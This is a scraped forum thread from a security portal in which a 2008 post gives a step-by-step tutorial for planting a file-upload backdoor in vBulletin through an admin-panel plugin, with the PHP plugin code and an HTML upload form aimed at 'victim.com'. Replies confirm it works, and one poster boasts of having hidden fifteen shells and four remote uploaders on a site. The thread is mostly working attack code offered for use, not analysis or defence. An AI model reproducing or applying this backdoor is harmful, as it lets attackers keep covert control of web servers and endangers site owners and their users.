Waraxe IT Security Portal
Login or Register
November 17, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 52
Members: 0
Total: 52
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Uploading a Shell to vBulletin[All Versions]
Post new topicReply to topic View previous topic :: View next topic
Uploading a Shell to vBulletin[All Versions]
PostPosted: Wed Dec 31, 2008 12:46 am Reply with quote
Lymon
Beginner
Beginner
Joined: Sep 26, 2008
Posts: 2




Uploading Shell's To vBulletin Forums Via ACP


Thing's you'll need.
• Administrator Account Capable of Making Plugins
• An HTML Enabled Forum
• Or Template editing abilities.
• Folder chmod 777 for uploading. I used (images/avatars).

First thing is first, login to the Admin control panel.

The Scroll down on the side untill you see Plugins and Products.



Select New Plugin and you should get something like:



For the Hook Location Select Ajax_Complete

The Title isn't Important, name it whatever you want.

Execution order should be 5

And the code will be as follows:



Code:
$target_path = "images/avatars"; //edit this to your directory that is 777

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}


And finally set the plugin as active,

It should be as followed:



Once you've saved visit

http://victim.com/forums/ajax.php

You should get a "No input File Specified" if you get that then you can continue, if not retry the first few steps!


~~~~~~~~~~~~~~~~~~Part 2~~~~~~~~~~~~~~~~~~~~~~~~~


Your Almost Done!

Next we need a place where we can choose the file to upload...hmmm

Let's try good ol' HTML

Code:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>


Place that anywhere on the site where HTML is enabled OR edit the Template and BAM you have yourself a way to upload the shell, OR any other file for that matter Wink

Tutorial By: Lymon

Please do not re-distribute without my permission.


Thanks & Good Luck!
View user's profile Send private message Visit poster's website
PostPosted: Wed Dec 31, 2008 1:13 am Reply with quote
r00tfate1
Beginner
Beginner
Joined: Dec 31, 2008
Posts: 1




Yep ive used be4 it works like a charm Very Happy
this prolly works on other forums as well
View user's profile Send private message
PostPosted: Wed Dec 31, 2008 6:30 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




Great post, I'll refer others to it. Surprised
View user's profile Send private message
Am getting bellow error.
PostPosted: Wed Apr 15, 2009 6:38 am Reply with quote
transfer
Regular user
Regular user
Joined: Apr 14, 2009
Posts: 11




Am getting bellow error.

Parse error: syntax error, unexpected '<' in /home/XXXXX/public_html/ajax.php(754) : eval()'d code on line 1

Any one guide me..

Thanks in advance
View user's profile Send private message
PostPosted: Wed Apr 15, 2009 5:39 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




You didn't wrap the php code with <? ?> did you? If you did take them off...
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Apr 30, 2009 10:33 pm Reply with quote
Overhit
Beginner
Beginner
Joined: Apr 30, 2009
Posts: 3




Works wonderfully for me, I have 15 shells hidden on this site, and 4 remote uploaders hidden in the site.
View user's profile Send private message
Uploading a Shell to vBulletin[All Versions]
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.044 Seconds